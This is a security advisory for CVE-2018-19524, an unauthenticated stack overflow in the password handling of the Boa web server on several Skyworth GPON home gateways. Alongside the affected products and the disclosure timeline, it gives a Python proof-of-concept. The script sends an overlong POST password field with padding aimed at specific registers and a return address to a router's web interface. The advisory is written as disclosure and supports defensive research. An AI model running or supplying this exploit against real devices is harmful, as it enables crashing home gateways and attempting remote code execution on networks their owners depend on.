Skyworth GPON HomeGateways / Optical Network Stack Overflow

`========================================================  
Unauthenticated Stack Overflow in Multiple Gpon Devices  
========================================================  
  
. contents:: Table Of Content  
  
Overview  
========  
  
Title:- StackOverflow in Multiple Skyworth GPON HomeGateways and Optical Network terminals.   
CVE-ID :- CVE-2018-19524  
Author: Kaustubh G. Padwad  
Vendor: Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigital.com/products)  
Products:  
1.DT741 Converged Intelligent Terminal (G/EPON+IPTV)  
2.DT741 Converged Intelligent Terminal (G/EPON+IPTV)  
3.DT721-cb GPON uplink home gateway (GPON+2FE+1POTS)  
4.DT721-cb GPON Uplink Home Gateway (GPON+2FE+1POTS)  
5.DT741-cb GPON uplink home gateway (GPON+4FE+1POTS+WIFI+USB)  
6.DT741-cb GPON Uplink Home Gateway (GPON+4FE+1POTS+WIFI+USB)  
7.DT741-cbGPON uplink home gateway DT741-cb  
  
  
Tested Version: : Multiple versions  
Severity: High--Critical  
  
Advisory ID  
============  
KSA-Dev-001  
  
About the Product:  
==================  
  
* The (products from above list) is a high performance GPON access gateway that complies with ITU-G.984 and CTC standards.  
* Configure a GPON optical interface, two FEs, one POTS  
* Provide Ethernet, VOIP and other interfaces to meet the access requirements of different devices.  
* It can provide high-performance broadband access services for home users, individual users, and SOHO small businesses.  
* Supports the standard TR069 protocol,which can be flexibly customized according to the carrier network and is compatible with mainstream OLT,software switching and service management platforms  
  
Description:   
============  
An issue was discovered on Shenzhen Skyworth  
DT741 Converged Intelligent Terminal (G/EPON+IPTV) SDOTBGN1,DT721-cb SDOTBGN1,and DT741-cb SDOTBGN1 devices.  
A long password to the Web_passwd function allows remote attackers to cause a denial of service (segmentation fault) or  
achieve unauthenticated remote code execution because of control of registers  
S0 through S4 and T4 through T7.  
  
  
Additional Information  
========================  
The value of password under Web_passwd function is not getting sanitized,so passing too much junk data to the password parameter triggers to the SIGSEGV segmentation fault in device, post research it  
was possible to control the registers from S0-S4 and T4-T7.A Successful exploitation could leads to unauthenticated remote code execution on device.  
  
  
[Affected Component]  
web_passwd function inside the boa web server implementation.  
  
------------------------------------------  
[Attack Type]  
Remote  
------------------------------------------  
[Impact Code execution]  
true  
------------------------------------------  
[Impact Denial of Service]  
true  
  
------------------------------------------  
[Attack Vectors]  
Remote code execution by running the poc.py against the target ip address.  
  
[Vulnerability Type]  
====================  
Buffer Overflow,Exec  
  
How to Reproduce: (POC):  
========================  
  
One can use below exploit  
  
import socket  
import struct  
  
buf = "POST /cgi-bin/index2.asp HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"  
buf+="Username=Bufferoverflow"  
buf+="&Logoff=0"   
buf+="&LoginTimes=1"  
buf+="&LoginTimes_Zero=0"  
buf+="&value_one=1"  
buf+="&Password1=xss"  
buf+="&Password2=xss"  
buf+="&logintype=usr"  
buf+="&Password="  
buf+="A"*999 #Padding till T4  
buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc  
buf+="T7T7" #T7 sleep address based on libc  
buf+="B"*9 #Padding till T6  
buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive  
buf+="K"*8 #Padding between T6to s0  
buf+="S0S0" #S0 Address sleep address boa possitive  
buf+="S1S1" #S1 Address Sleep Address Boa negetive  
buf+="S2S2" #S2 Address Normal Sleep Adress  
buf+="S3S3" #S3Address System Address  
buf+="\xA0\x0E\xA2\x18" #return Address  
buf+="K"*600  
  
  
print buf  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("192.168.1.1", 80))  
s.send(buf)  
  
Mitigation  
==========  
  
No Official mitigation recived from vendor.  
  
[Vendor of Product]  
Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigital.com/products)  
  
Disclosure:   
===========  
01-Nov-2018 Discoverd the vulnerability  
03-Nov-2018 Reported to vendor (No Response)  
13-Nov-2018 follow-up-01 (No reposonse.)  
24-Nov-2018 Requested for CVE/Cve's.  
26-Nov-2018 CVE-Assign by Mitre  
  
credits:  
========  
* Kaustubh Padwad  
* Information Security Researcher  
* [email protected]  
* https://s3curityb3ast.github.io/  
* https://twitter.com/s3curityb3ast  
* http://breakthesec.com  
* https://www.linkedin.com/in/kaustubhpadwad  
  
`